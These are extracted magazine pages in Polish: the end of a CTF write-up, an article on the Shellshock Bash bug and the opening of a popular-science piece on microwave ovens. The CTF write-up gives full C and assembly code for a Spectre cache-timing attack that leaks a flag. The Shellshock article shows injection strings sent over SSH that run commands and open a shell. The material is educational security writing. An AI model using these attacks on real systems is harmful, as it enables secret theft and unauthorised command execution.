waż procesor wykonywał wolno – marnując czas – nawet te instruk- procesory wyposażone są w tak zwany branch predictor, który próbu-
cje, które normalnie można zrealizować szybko. je przewidzieć, czy dany skok się wykona. Procesory „zgadują” więc
Pomysł, który pojawił się później, znacząco zwiększył możliwości adres docelowy i zaczynają przetwarzać instrukcje spod tego adresu,
obliczeniowe komputerów: mowa tu o przetwarzaniu instrukcji po- a gdy już dowiedzą się, jaki był rzeczywiście adres docelowy, to kon-
dzielonych na kilka etapów (zobacz też Rysunek 2): tynuują obliczenia – w przypadku prawidłowego przewidzenia – albo
» IF (ang. instruction fetch) – pobranie instrukcji, wycofują wszystkie działania oraz efekty uboczne wynikające z wy-
» ID (ang. instruction decode) – dekodowanie instrukcji, czyli od- konanych instrukcji, a następnie przetwarzają rozkazy, które faktycz-
czytanie kodu instrukcji, stałych oraz numerów rejestrów z po- nie mają zostać wykonane.
branych z pamięci bajtów kodu maszynowego.
» EX (ang. execute) – wykonanie instrukcji,
EFEKTY UBOCZNE
» MEM (ang. memory) – dostęp do pamięci,
» WB (ang. writeback) – zapisanie wyniku obliczeń do rejestrów Istnieją przypadki, gdy jakiś efekt uboczny, który nie ma wpływu na
lub/i pamięci. prawidłowość wykonanych obliczeń, nie zostaje cofnięty pomimo
tego, że procesor źle „odgadł” wykonywaną gałąź kodu.
Takie rozwiązanie pozwoliło na przyporządkowanie każdej instrukcji Spectre to przykład takiego zaniedbania, gdy instrukcje speku-
(i dostępowi do pamięci) czasu trwania od kilkunastu do kilku tysię- lowane (wykonywane w nadziei na trafność wyboru ścieżki wyko-
cy krótkich cykli zegara. Podczas każdego z tych etapów przetwarza- nania) pozostawiają ślad w pamięci podręcznej procesora, nawet
nia instrukcji wszystkie pozostałe jednostki obliczeniowe pozostają jeśli dane, na których operują, są nieprawidłowe – zwłaszcza poza
bezczynne. Aby w pełni wykorzystać ich możliwości, wymyślono po- zakresem.
tokowość instrukcji (ang. instruction pipelining): na przykład w cza- Przykład z Listingu 4 w instrukcjach hipotetycznego procesora
sie, gdy jedna instrukcja zapisuje swoje efekty do pamięci, następna wyglądałby następująco:
instrukcja już jest wykonywana, kolejna jest dekodowana, a jeszcze
// untrusted_index: r1
inna jest właśnie pobierana z pamięci. // tab1: r2
// tab2: r3
// LENGTH: 88
(1) cmp r1, 88 // porównanie z wartością 88
(2) jae after_if // Jump if Above or Equal, skok warunkowy
(3) add r2 <- r2 + r1
(4) ld8 r2 <- *r2 // LoaD 8-bit, odczyt pamięci
(5) shl r2 <- r2 * 64 // SHift Left, przesunięcie bitowe
// równoważne mnożeniu przez potęgę dwójki
(6) add r3 <- r3 + r2
(7) ld8 r3 <- *r3
(8) call print
Rysunek 2. Przepływ wykonania instrukcji przez procesor potokowy. Wiersze oznaczają after_if:
kolejne wykonywane instrukcje, natomiast kolumny kolejne cykle zegara procesora. Na (9) ...
zielono zaznaczono etapy wykonywane jednocześnie w danej chwili
(źródło: [Link]

Zanim w pełni wykonają się instrukcje (1) i (2), procesor może (jeśli
Ponieważ w jednym wątku jednocześnie wykonywanych może być odpowiednio się go przygotuje) wykonać instrukcje (3)..(6) z warto-
kilka instrukcji, pojawia się ryzyko niespełnienia zależności pomię- ścią rejestru r1 większą niż LENGTH, odczytując w ten sposób dane

<60> {  3 / 2021 < 97 >  }


/ Pwn2Win CTF 2021 – atak Spectre /

umieszczone w pamięci za elementami tab1, na podstawie których » Wysłaliśmy do serwera ciąg idx,idx, aby przeprocesował dany
wczytana zostanie do pamięci podręcznej inna część tab2. Oczywi- bit drugiej flagi. Należy tu pamiętać, iż procesor przetwarza ten
ście obliczenia wykonywane przez instrukcje (3)..(6) zostaną odrzu- bit, a także jeśli jest on ustawiony, wykonuje funkcję getenv
cone, to znaczy ich wyniki nie zostaną zapisane w rejestrach r2 oraz spekulatywnie, gdyż „normalnie” nie powinno mieć to miejsca
r3, jednak pozostanie po nich ślad w pamięci cache. ze względu na warunek offset < limit.
Atakujący może teraz wykraść dane znajdujące się w pamięci » Zbadaliśmy, jak długo nasz proces wykonywał odczyt z adresu,
zaraz za tablicą tab1, jeśli precyzyjnie zmierzy dokładny czas wy- pod którym znajduje się kod funkcji getenv. Po tej operacji wy-
konania odczytów z poszczególnych części tab2. W sytuacji gdy rzuciliśmy go z cache procesora (wykonując instrukcję proce-
tylko jedna część tab2 będzie obecna w pamięci podręcznej, dostęp sora clflush, ponieważ funkcja getenv jest we współdzielonej
(odczyt lub zapis) do niej wykona się szybko (w wyniku „trafienia” przez oba programy bibliotece [Link]).
– ang. cache hit), a do pozostałych elementów będzie dużo wolniejszy » Dla porównania ponownie zmierzyliśmy czas odczytu bajtów
(w wyniku „chybienia” – ang. cache miss). funkcji getenv, wiedząc już, że nie ma ich w pamięci podręcz-
nej (dzięki wykonanu clflush w poprzednim kroku). To po-

WRÓĆMY DO ZADANIA W WERSJI zwoliło nam oszacować, czy mamy do czynienia z ustawionym
bitem, czy może badany bit flagi był „zerem”.
„TRUE”
Dla przypomnienia: w zadaniu możemy wykonać dowolny kod na tej Jak można zauważyć, najistotniejszą część naszego rozwiązania, czyli
samej maszynie co serwer, ale nie mamy dostępu do binarki serwe- pomiar odczytu kodu funkcji getenv, zaimplementowaliśmy w funk-
ra, gdyż jest on uruchomiony z innego użytkownika. Dodatkowo nie cji readingtime w asemblerze. Zrobiliśmy tak, aby mieć pewność,
możemy przeprowadzić ataku czasowego na wykonywanie funkcji że kod, który napisaliśmy, wykonuje dokładnie te i tylko te operacje,
getenv z biblioteki współdzielonej [Link], jak to zrobiliśmy w wersji które chcieliśmy. W innym wypadku musielibyśmy walczyć z kom-
„Baby”, ze względu na warunek sprawdzający numer bajtu, który po- pilatorem (i na przykład flagami optymalizacji -O1, -O2 lub -O3), tak
zwalał na wykorzystanie tej techniki tylko do wykradnięcia pierwszej aby wynikowy kod nie wykonywał niepotrzebnych operacji, które
flagi (zaznaczony czerwonym tłem w kodzie poniżej): mogłyby wprowadzić szum uniemożliwiający zrobienie dokładnych
pomiarów. Jeśli chodzi o sam kod asemblera, to jego dokładną ana-
if (offset < limit)
if ((flag[offset] >> (suboffset)) & 1) lizę pozostawiamy dla czytelników. Aby to ułatwić, w Tabeli 1 zapre-
getenv("BitHit!"); zentowano kilka z użytych instrukcji.

Istotne tutaj jest to, że gdy podany indeks jest poza zakresem, spraw- Instrukcja/instrukcje Opis/działanie
dzenie bitu może być także wykonane spekulatywnie i – gdy bit jest
równy 1 – spowodować pobranie kodu funkcji getenv do pamięci Memory Fence, Load Fence – instrukcje potwierdza-
jące operacje zapisu lub odczytu danych z pamięci,
podręcznej procesora, co możemy wydedukować, mierząc czas po- mfence, lfence co pozwala na upewnienie się, że wszystkie dostępy
brania kodu tej funkcji w naszym procesie. Przy okazji korzystamy do pamięci zostały zakończone (oraz, na przykład, że
dana pamięć została pobrana do cache)
z okoliczności, że kod funkcji getenv mieści się fizycznie w pamię-
ci RAM tylko raz, gdyż funkcja ta znajduje się w bibliotece [Link], Read Time-Stamp Counter – instrukcja zwracająca
która jest załadowana zarówno w procesie serwera, jak i w naszym rdtsc
wartość specjalnego licznika procesora od jego
ostatniego restartu. Często wykorzystuje się ją
programie. w benchmarkowaniu kodu

FINAŁ – ROZWIĄZANIE „TRUE WRITE- Flush Cache Line – instrukcja, która czyści linię
cache zawierającą dany adres z pamięci podręcznej
ONLY PASSWORD MANAGER” clflush <arg> procesora (gdyż procesor pobiera dane do pamięci
podręcznej w tak zwanych „liniach”, które najczęściej
mają długość 64 bajtów)
W naszym rozwiązaniu, aby poznać dany bit flagi, wykonaliśmy na-
stępujące kroki:
Tabela 1. Opis wybranych instrukcji wykorzystanych w rozwiązaniu
» Wysłaliśmy do serwera indeks 2 wielokrotnie, gdyż wiemy, że
ten właśnie bit pierwszej flagi nie jest ustawiony (litera „C” to Listing 6. Rozwiązanie zadania w wersji „True”
binarnie 1000011). W ten sposób nauczyliśmy procesor (a kon-
#define _GNU_SOURCE
kretnie branch predictor), że pierwszy warunek offset < limit #include <netinet/in.h>
jest zawsze prawdziwy, a drugi ((flag[offset] >> (suboff- #include <netinet/tcp.h>
#include <sched.h>
set)) & 1) fałszywy. #include <sys/mman.h>
» Zapchaliśmy pamięć podręczną procesora losowymi danymi static inline long readingtime(void *addr) {
w funkcji evict, tak aby wyrzucić zmienną limit z cache, co spo- long time;
asm("mfence\n\t"
wolni odczyt tej zmiennej w serwerze (proces cache eviction). Nie "lfence\n\t"
mogliśmy tutaj użyć instrukcji clfush ze względu na brak zma- "rdtsc\n\t"
"lfence\n\t"
powanej w naszym procesie pamięci, w której znajduje się zmien- "movl %1, %%edx\n\t"
"movl %%eax, %%esi\n\t"
na limit; jest ona podmapowana jedynie w procesie serwera.

{  [Link]  } <61>
STREFA CTF

"lfence\n\t" int idx = 8*i + bit;


"rdtsc\n\t" int array[] = {2, 2, 2, 2, 2, 2, 2, 2, 2,
"subl %%esi, %%eax\n\t" 2, 2, 2, 2, 2, 2, 2, 2, 2,
"clflush %1\n\t" 2, 2, 2, 2, 2, 2, 2};
: "+a" (time) : "m" (*(volatile char*)addr) int array2[] = {idx, idx};
: "%edx", "%esi"); write(fd, array, sizeof(array));
return time; evict();
} write(fd, &array2, sizeof(array2));

#define CACHE_SIZE 4096 * 768 * 32 long r = readingtime(&getenv);


long ref = readingtime(&getenv);
static void evict() {
static volatile uint8_t *mem = NULL; if (5 * r < ref)
if (!mem) one++;
mem = mmap((void*)0x602000, CACHE_SIZE,
PROT_READ | PROT_WRITE, if (one > 9)
MAP_PRIVATE | MAP_ANON, -1, 0); break;
for (int i = 0x90; i < CACHE_SIZE; i += 4096) }
mem[i]++; printf("%d\n", one);
} rdchr |= (one > 9) << bit;
}
int main() { printf("0x%hhx = '%c'\n", rdchr, rdchr);
int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); }
struct sockaddr_in addr = {.sin_family = AF_INET, }
.sin_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(8080) };
int nodelay = 1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY,
&nodelay, sizeof(nodelay)); ZAKOŃCZENIE
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
// wykonujemy przynajmniej raz, żeby rozwiązać Wersję „Baby” rozwiązało ostatecznie tylko (lub aż) 20 drużyn, nato-
// adres w bibliotece (ma to związek z "lazy binding")
getenv(""); miast wersję „True” jedynie 5. Choć nie udało nam się zdobyć drugiej
cpu_set_t cpu; flagi w trakcie konkursu, to i tak zakończyliśmy go na trzecim miej-
CPU_ZERO(&cpu); scu. Zadanie True write-only password manager było też dla nas do-
CPU_SET(0, &cpu);
sched_setaffinity(0, sizeof(cpu), &cpu); brym materiałem na warsztaty, które prowadzimy w naszej drużynie.
char rdchr = 1;
Podsumowując, konkurs Pwn2Win uważamy za jeden z ciekawszych
for (int i = 15; i < 48; i++) { CTFów, z oryginalnymi i ekscytującymi zadaniami.
rdchr = 0;
for (int bit = 0; bit < 8; bit++) {
Dominik "disconnect3d" Czarnota, Arkadiusz "Arusekk" Kozdra
int one = 0;
for (int try = 0; try < 6000; try++) {

[0] [Link]
[1] [Link]
[2] [Link]
[3] [Link]

Rozwiązania zadań Baby oraz True write-only password manager zostały nadesłane
przez członków polskiej drużyny justCatTheFish, która bierze aktywnie udział w kon-
kursach CTF od kilku lat, a rok 2020 ukończyła na 12 miejscu rankingu światowego
CTFtime. [Link]

<62> {  3 / 2021 < 97 >  }


Z ARCHIWUM CVE

Shellshock
„Z archiwum CVE” to nowy dział, w ramach którego będziemy opisywać znane i mniej znane błędy
bezpieczeństwa. Na pierwszy ogień przedstawiona zostanie perełka, która wstrząsnęła światem
w 2014 roku i do dziś przewija się w zadaniach typu „Hack The Box”. Dodatkowo jest to popular-
ne zagadnienie pojawiające się na różnego rodzaju egzaminach na certyfikaty bezpieczeństwa.

K ażdy użytkownik uniksopodobnych systemów operacyjnych


przynajmniej raz korzystał z powłoki systemowej. Obecnie jed-
ną z najpopularniejszych jest Bash – powłoka stworzona przez Bria-
Listing 2. Definicja i eksport funkcji. Funkcja jest dostępna w nowej powłoce

# Utworzenie funkcji foo


% foo() { echo 'Hello World!'; }
na Foxa w 1989 roku, która wprowadza wiele rozszerzeń do swojego # Eksport funkcji foo
% export -f foo
poprzednika Bourne shell. Wiele dystrybucji Linuxa domyślnie ko-
rzysta z Bash, więc potencjalny błąd w tej powłoce może okazać się # Uruchomienie nowej powłoki
% Bash
krytyczny dla bezpieczeństwa systemu. Nadal zdarza się, że skrypty
# Uruchomienie funkcji foo w nowej powłoce
bashowe są wykorzystywane do serwowania dynamicznych stron w bash-3.2$ foo
Internecie np. poprzez moduły CGI, co powoduje, że klasa błędów Hello World!

może zostać podniesiona do klasy RCE (Remote Code Execution).


Shellshock (nazywany też czasem Bashdoor) jest całą rodziną
CVE-2014-6271
błędów w Bash: CVE-2014-6271, CVE-2014-6277, CVE-2014-6278,
CVE-2014-7169, CVE-2014-7186, CVE-2014-7187. W tym artykule Błąd ten istniał przez ponad 15 lat i został odkryty w 2014 roku przez
przyjrzymy się CVE-2014-6271. Jest to pierwszy zgłoszony błąd, któ- Stéphane’a Chazelas’a. Jego przyczyną jest zła decyzja architektonicz-
ry zapoczątkował całą serię. na oraz błąd w parserze.
Eksport funkcji polega na pewnym hacku – wyeksportowana

FUNKCJE W BASH funkcja jest zwykłą zmienną. W momencie uruchomienia nowej po-
włoki Bash parsuje wszystkie odziedziczone zmienne w poszukiwa-
Bash pozwala na definiowanie funkcji oraz zmiennych. W momencie niu tych, których zawartość rozpoczyna się od ciągu „() {”. Oznacza
uruchomienia programu wszystkie zmienne środowiskowe są odzie- to, że jeżeli do zmiennej eksportowanej zapiszemy ten ciąg, to zmien-
dziczone po rodzicu. Niektóre powłoki, w tym Bash, rozróżniają na ta zostanie potraktowana jako funkcja. Warto podkreślić jednak,
zmienne środowiskowe eksportowane i nie-eksportowane. W przy- że Bash w celu utworzenia funkcji ze zmiennych środowiskowych
padku Basha eksportowane zmienne środowiskowe to te, na których parsuje je tylko przy uruchomieniu nowej powłoki.
została wywołana komenda export. Przykład definicji i dziedzicze-
Listing 3. Definicja i eksport funkcji. Funkcja jest dostępna także w nowej powłoce
nia zmiennych możemy zobaczyć w Listingu 1.
# Utworzenie i eksport funkcji foo
Listing 1. Definicja i eksport zmiennej. W nowej powłoce jest również dostępna % export -f foo() { echo 'Hello World!'; }

# Zmienna nie jest utworzona # Po wykonaniu export -f zostaje utworzona zmienna środowiskowa,
% echo $PROGRAMISTA # która zawiera definicję funkcji. Możemy sami stworzyć własną
# funkcję, korzystając z magicznego przedrostka () {
# Utworzenie zmiennej lokalnej o nazwie PROGRAMISTA i wartości "1" % env | grep foo
% PROGRAMISTA="1" foo=() { echo 'Hello World'
# Modyfikacja zmiennej lokalnej na eksportowaną # Funkcja bar nie jest jeszcze dostępna, ponieważ Bash tworzy
% export PROGRAMISTA # funkcje tylko przy uruchomieniu
# Alternatywnie możemy utworzyć zmienną i wyeksportować ją % export bar="() { echo 'Hello World'; }"
# w jednym kroku
% export PROGRMIASTA="1" # Po uruchomieniu nowej instancji Basha zmienne środowiskowe są
# parsowane w celu poszukiwania magicznego przedrostka. Funkcja
# Sprawdzenie wartości zmiennej # bar została utworzona
% echo $PROGRAMISTA % bar
1 Bash: bar: command not found
# Uruchomienie nowej powłoki % bash
% bash bash-3.2$ bar
# Zdefiniowana zmienna jest dostępna w nowej powłoce Hello World!
bash-3.2$ echo $PROGRAMISTA
1 Jest to klasyczny problem mieszania danych z metadanymi, gdzie
bash-3.2$
dane określają swój własny typ. Drugim błędem było nieprawidłowe
Jedną z mniej znanych funkcjonalności Basha jest to, że oprócz eks- parsowanie zawartości tejże zmiennej. Błąd polega na tym, że Bash
portowania zmiennych możemy także eksportować funkcje. W Li- utworzy funkcję o nazwie danej zmiennej, a komendy pomiędzy zna-
stingu 2 możemy przeanalizować utworzenie funkcji, jak i sposób kami { i } potraktuje jako ciało funkcji. Wszystko to, co znajduje się
wyeksportowania jej do nowej powłoki. Eksport funkcji jest wykony- po zamknięciu nawiasu klamrowego, zostanie zwyczajnie wykonane.
wany za pomocą komendy export z opcją f. Ten błąd bezpieczeństwa został zaprezentowany w Listingu 4.

<64> {  3 / 2021 < 97 >  }


/ Shellshock /

Listing 4. Definicja i eksport funkcji. Funkcja jest dostępna także w nowej Listing 6. RCE w SSH poprzez wykorzystanie Shellshocka
powłoce
% ssh test@[Link]
# Tworzymy funkcję hack. Po definicji jej ciała dodajemy Sorry, you don’t have access to this server anymore
# dodatkowe komendy shellowe. Kolorem zielonym zaznaczyliśmy
% ssh test@[Link] '() { :; }; echo "RCE"'
# normalną definicję funkcji znaną z poprzednich przykładów.
RCE
# Na czerwono - komendy poza funkcją
Sorry, you don’t have access to this server anymore
% export hack='() { echo "Hello World"; }; echo "oh my!"'
% ssh test@[Link] '() { :; }; bash'
# Bash znajduje zmienną hack i tworzy funkcję, następnie
id
# automatycznie wykonuje wszystko poza definicją funkcji
uid=1001(test) gid=1001(test) groups=1001(test)
% bash
ip addr | grep 192.168.56
Oh my!
inet [Link]/24 brd [Link] scope global eth0
bash-3.2$

BASH 7 LAT PÓŹNIEJ


Problem jest poważny, ponieważ część serwerów WWW, jak na przy-
kład Apache, ustawia zmienne środowiskowe na wartości z nagłów- Jak można się domyślić, opisana podatność CVE-2014-6271 została
ków HTTP. Na przykład zmienna HTTP_USER_AGENT jest mapowa- załatana dość szybko. Na ten konkretną lukę podatne są wszystkie
na na wartość z nagłówka User-Agent, który określa rodzaj użytej wersje Basha pomiędzy wydaniem 1.0.3 a 4.3. Błąd w parserze został
przeglądarki internetowej. Niebezpieczeństwo polega na tym, że ta naprawiony. W roku 2014 zostało znalezionych jeszcze kilka błędów
wartość jest całkowicie kontrolowana przez użytkownika. Jeżeli użyt- w parserze Basha, które również umożliwiały zdalne wykonanie kodu
kownik zmieni nagłówek HTTP User-Agent na wartość rozpoczy- (RCE). Aktualnie w Bashu rozdzielono także eksport funkcji od eks-
nającą się od magicznego „() {” i w którymkolwiek momencie dojdzie portu zmiennych. Zmienne te mają specjalny prefix BASH_FUNC oraz
do wywołania Basha, zamiast zmiennej środowiskowej HTTP_USER_ sufix %%. Z tego powodu nie możemy już dowolnej zmiennej zamie-
AGENT otrzymamy odziedziczoną funkcję. W połączeniu z błędnym nić na funkcję. Dodatkowo export nie pozwala na ręczne tworzenie
parsowaniem wystarczy sama jej deklaracja – do wykonania kodu nie takich zmiennych, ponieważ Bash zakłada, że nazwy zmiennych nie
potrzebujemy nawet, żeby zmienna/funkcja HTTP_USER_AGENT była mogą mieć znaków procentu.
gdziekolwiek używana.
Listing 7. Eksport funkcji w aktualnym Bashu
Podatne okazały się nie tylko serwery HTTP, ale także DNS czy
SSH. W przypadku SSH często zdarza się, że administratorzy ogra- # Utworzenie funkcji foo
% foo() { echo 'Hello World!'; }
niczają uprawnienia użytkowników do możliwości wykonania poje-
# Eksport funkcji foo
dynczej komendy (na przykład w ten sposób często są skonfiguro- % export -f foo
wane serwery gita). Ograniczenia te są definiowane per-klucz SSH # Sprawdzenie jak wygląda sygnatura funkcji
w pliku authorized_keys, poprzez dodanie prefixu command. Nałoże- % env | grep foo
BASH_FUNC_foo%%=() { echo 'Hello World!'
nie ograniczeń jest także możliwe dzięki konfiguracji w pliku konfi-
# Próba utworzenia zmiennej, która reprezentuje funkcję,
guracyjnym sshd_config poprzez opcję ForceCommand. W Listingu 5
# nie powodzi się
znajdziemy bardzo prostą konfigurację oraz skrypt, który przypomi- % export BASH_FUNC_bar%%="() {}"
-bash: export: `BASH_FUNC_bar%%=() {}: not a valid identifier
na użytkownikowi, gdzie znajduje się program ls.

Listing 5. Konfiguracja SSH z wykorzystaniem opcji command i prosty pro-


gram wykonujący polecenie which PODSUMOWANIE
$ cat [Link]
#!/bin/sh Shellshock miał dwie przyczyny. Pierwszą było mieszanie danych i typu
echo "Sorry, you don’t have access to this server anymore."
danych. Wielokrotnie w przeszłości okazywało się to złym pomysłem
i dziś zachęca się programistów, aby tego nie robili. Drugą przyczyną
$ cat .ssh/authorized_keys
command="/home/test/[Link]" ssh-ed25519 <public ed25519 key> był błąd dotyczący parsera funkcji w Bashu. Dzięki niemu atakujący
był w stanie wykonać dowolną komendę na podatnych serwerach.
W przypadku logowania po SSH i wykorzystaniu opcji command
wszystkie argumenty podane przy połączeniu zostają umieszczone
Bibliografia
w eksportowanej zmiennej środowiskowej SSH_ORIGINAL_COMMAND.
» NVD: CVE-2014-6217
Następnie SSH uruchamia plik, który podaliśmy w command. Plik ten » CVE-2014-6271 (shellshock): luka w powłokach Bash, sh i podobnych, [Link],
jest skryptem powłoki, zostaje zatem uruchomiona nowa instancja Łukasz Siewierski
» Quick notes about the bash bug, its impact, and the fixes so far, Michał “lcamtuf”
Basha. Ponieważ SSH_ORGINAL_COMMAND jest kontrolowany przez Zalewski
użytkownika, możemy wykorzystać znany nam już błąd do wyko-
nania dowolnego kodu pomimo tego, że ograniczyliśmy użytkowni-
MARIUSZ ZABORSKI
ka do jednej komendy, która miała mu tylko wyświetlić komunikat.
Przykład nadużycia został pokazany w Listingu 6. Najpierw wyko- [Link]

nujemy normalne logowanie do serwera, następnie wykorzystujemy Programista i menedżer w firmie Fudo Security,
w której zajmuje się rozwijaniem produktów
znaną nam podatność do wykonania echo na serwerze, a ostatecznie związanych z bezpieczeństwem. W wolnym cza-
do uzyskania powłoki. sie zaangażowany w rozwój projektu FreeBSD.

{  [Link]  } <65>
PLANETA IT

Mikrofale, czyli jak mały batonik zmienił świat


Wynalazek kuchenki mikrofalowej skończył już 75 lat. Jak działa? Skąd ciepło? Najwyższy
czas rozprawić się z kilkoma mitami na jego temat.

M ówi się, że wojny są źródłem postępu w nauce. Często oprócz


nich potrzeba też przypadku. Niejaki Percy Spencer był spe-
cjalistą zajmującym się systemami radarowymi w czasach II wojny
Fala elektromagnetyczna niesie ze sobą energię, którą może prze-
kazać napotkanej materii. Dzięki pracom Einsteina i Plancka1 wie-
my, że nie zachodzi to w sposób ciągły. Z punktu widzenia transferu
światowej. Jak dziś wyglądałby świat, gdyby pan Percy, wielki łasuch, energii fala składa się z pędzących pocisków (zwanymi fotonami)
nie lubił czekoladowych batoników? o energii określonej wzorem (h – stała Plancka; wzór 2):
Zupełnie przypadkiem zauważył, że ów batonik roztapia się, gdy
jest umieszczony w pobliżu anteny radaru. Odkrycie od wynalazku E=h·ν
dzielił już tylko krok. Tak oto powstało urządzenie, które obecnie go-
ści w wielu domach – kuchenka mikrofalowa. Zamiast wzoru wystarczy zapamiętać zależność: im większa często-
Wiele lat później pojawiło się mnóstwo teorii dyskredytujących tliwość fali EM, tym większa energia pojedynczego fotonu. Ponadto
ten sposób przygotowania potraw. W przepastnych czeluściach Inter- foton, napotykając materię, ma do wyboru dwa rozwiązania: wejść
netu można przeczytać o niszczeniu białek. Ludzie ze zdjęć straszą, w interakcję (czyli zostać zaabsorbowany w całości) lub „polecieć”
że do mikrofalówki wkładasz jedzenie, a wyciągasz trociny. Przecież dalej – nie ma możliwości pochłonięcia np. tylko połówki fotonu.
one mają częstotliwość aż 2.4 GHz! Giga! Miliardów razy na sekun-
dę! To na pewno musi być niebezpieczne!
DEMON, TEMPERATURA I ENERGIA
Ale czy na pewno? Czy powinniśmy już kupować foliową czapkę?
WEWNĘTRZNA
Sugeruję wstrzymać się przynajmniej do końca tego artykułu i same-
mu wyrobić sobie opinię. W szkole uczono definicji, że temperatura jest miarą energii wewnętrz-
Zacznijmy najpierw od przypomnienia pewnych podstawowych nej oraz że temperatura to nie to samo co ciepło. Ale o co chodzi?
pojęć z lekcji fizyki – znacznie ułatwi to zrozumienie zagadnienia Z pomocą przychodzi tzw. kinetyczna teoria materii traktująca
i rozwianie pewnych mitów. pojedyncze molekuły jak różnokształtne żelki. Mogą się one po-
ruszać w trzech kierunkach (dla ciał stałych tylko drgać) i obracać

PROMIENIOWANIE DOBRE I ZŁE w trzech osiach – razem sześć możliwości zwanymi stopniami swo-
body2. Energia wewnętrzna ciała jest po prostu sumą energii wszyst-
W obiegowej opinii słowo „promieniowanie” kojarzy się nie najlepiej. kich cząstek w każdym ze stopni swobody, a temperatura miarą tej
Przypomina się Czarnobyl czy Fukushima i nawet dodanie przymiot- energii (im wyższa temperatura, tym wyższa energia wewnętrzna
nika „elektromagnetyczne” nie poprawia sytuacji. – i vice versa).
Natomiast dla fizyka sformułowanie to nie dość, że jest mało Ważną informacją jest to, że w ujęciu statystycznym średnia ener-
przerażające, to jeszcze bardzo niekonkretne. gia przypadająca na każdy ze stopni swobody jest taka sama3.
Promieniowanie elektromagnetyczne każdy zna – są to po-
wszechne fale radiowe. W zależności od częstotliwości można mówić
SPOSÓB NA ZIMNEGO KOTLETA
np. o falach długich (ach, któż nie zna tych trzasków podczas słucha-
nia Chopina na programie pierwszym), falach ultrakrótkich czy… Ogrzewanie substancji to zwiększenie temperatury poprzez dostar-
świetle widzialnym. Tak, wszystkie powyższe przykłady dotyczą tego czenie ciepła, czyli energii. Skoro wiemy, że temperatura ma związek
samego zjawiska. z energią wewnętrzną, to podgrzanie potrawy spowoduje wzrost tej
Na Rysunku 1 przedstawiono spektrum fal elektromagnetycz- energii, czyli prędkości ruchu (i drgań) cząstek.
nych, od fal długich aż do promieniowania gamma. Gwoli przypo- Wystarczy tylko znaleźć sposób na zwiększenie tych prędkości
mnienia, zdefiniujmy kilka pojęć: i już nasz kotlet będzie ciepły!
» Długość fali (λ) – jest to najmniejsza odległość między dwoma Metod jest dużo. Można zetknąć potrawę z substancją o większej
punktami fali o takiej samej fazie (czyli między dwoma powta- temperaturze (np. ze spalinami z kuchenki gazowej). Można też wy-
rzającymi się fragmentami fali). korzystać coś, czego nie widać – podczerwień w piekarniku, która
» Częstotliwość (ν) – ilość cykli (okresów, powtórzeń) na sekundę. zaabsorbowana przez cząsteczki zwiększy ich energię. Sposobem, jaki

Dla fali elektromagnetycznej rozchodzącej się w powietrzu z prędko- 1.  Obaj naukowcy wsławili się w wyjaśnienie kwantowej natury fal elektromagnetycznych. Max Planck
rozwiązał zagadkę widma emitowanego przez ciała o zadanej temperaturze, a Einstein wykorzystał
ścią światła c (w przybliżeniu) obie wielkości łączy zależność (wzór 1): wyliczoną przez Plancka stałą do wyjaśnienia zjawiska fotoelektrycznego.
2.  Dla prostszych cząstek (np. jedno- lub dwuatomowych) stopni swobody jest mniej.

ν·λ=c 3.  Dla układów znajdujących się w równowadze termodynamicznej. Czytelnikom, którzy nie boją się
kontrowersyjnych nazw, autor poleca zapoznanie się z historią demona Maxwella.

<66> {  3 / 2021 < 97 >  }


PLANETA IT

Rysunek 1. Widmo fal elektromagnetycznych (źródło: [Link]

nas najbardziej interesuje w tym artykule, jest opcja trzecia – wyko- W cząsteczce wody tlen jest bardziej elektroujemny (chciwy, elek-
rzystanie mikrofal. troujemność 3.44) niż wodór (elektroujemność 2,2), stąd woda jest
tzw. polarna – z uwagi na nierównomierny rozkład ładunku tworzy

CZĄSTECZKI POLARNE NIE TYLKO dipol elektryczny i potrafi ustawiać się zgodnie z kierunkiem ze-
wnętrznego pola elektrycznego.
W ARKTYCE
Model Bohra opisuje atom jako jądro o dodatnim ładunku, wokół
Z LUPĄ WEWNĄTRZ MIKROFALÓWKI
którego krążą na orbitach (powłokach) elektrony. Atomy łączą się
w cząsteczki poprzez wiązanie polegające na wzajemnej wymianie Wewnątrz kuchenki mikrofalowej występuje pole elektromagnetyczne
elektronu walencyjnego (może on wtedy „orbitować” wokół dwóch tak silne, że ustawia cząsteczki polarne zgodnie z wektorem składowej
atomów jednocześnie). elektrycznej. Skoro pole to zmienia się 2.4 miliardy razy na sekundę,
Linus Pauling zauważył, że niektóre atomy są chciwe i pragną za- to i cząsteczki „obracają się” z taką samą częstotliwością (Rysunek 3).
garnąć elektron tylko dla siebie4. Zachodzi wtedy sytuacja, w której Podczas takich obrotów ocierają się o siebie i uderzają, co powo-
elektron tworzący wiązanie chętniej „orbituje” w pobliżu bardziej duje wzrost ich energii wewnętrznej, czyli… wzrost temperatury (fa-
chciwego atomu. Elektron ma ujemny ładunek, więc równowaga chowo zjawisko to nazywa się rozpraszaniem dielektrycznym).
elektrostatyczna cząsteczki zostaje zaburzona – pojawiają się obszary
naładowane dodatnio i ujemnie (Rysunek 2).

Rysunek 2. Ładunek w polarnej cząsteczce na przykładzie wody (źródło:


[Link]
Rysunek 3. Wpływ fali elektromagnetycznej na wodę i inne cząsteczki polarne
4.  Według modelu Bohra atomy dążą do tego, by nie mieć „niekompletnych” elektronów walencyj-
nych. Te, którym do pełnego obsadzenia brakuje niewielu, stają się bardziej elektroujemne (np. tlen,
któremu brakuje tylko 2 elektronów do posiadania pełnych 8). Te, które chcą oddać elektron, bo mają Po wyłączeniu mikrofal cząsteczki wracają do swojego chaotycznego
mało, są mniej elektroujemne. Wodór jest po środku. Chciałby mieć albo 0 elektronów, albo 2, więc
jest dokładnie w centrum skali. ułożenia.

<68> {  3 / 2021 < 97 >  }


MIT: częstotliwość pracy kuchenki mikrofalowej MIT: promieniowanie w mikrofalówce niszczy
jest dostrojona do częstotliwości drgań wody białko
Częstotliwość określa tylko, jak często cząsteczki polarne będą się W celu zniszczenia cząsteczki należy rozerwać jedno z jej wiązań
„obracać”. Dobrano ją na podstawie kilku przesłanek. Po pierwsze, atomowych. Czy można wywnioskować, jaka energia jest do tego
ma być nieszkodliwa dla materii – nie chcemy uszkodzić struktury potrzebna? Weźmy jako przykład siebie. Radia lubimy posłuchać,
cząsteczkowej podgrzewanego posiłku. Po drugie, długość fali po- więc do tych fal się już przyzwyczailiśmy. Siedzenie z książką przy
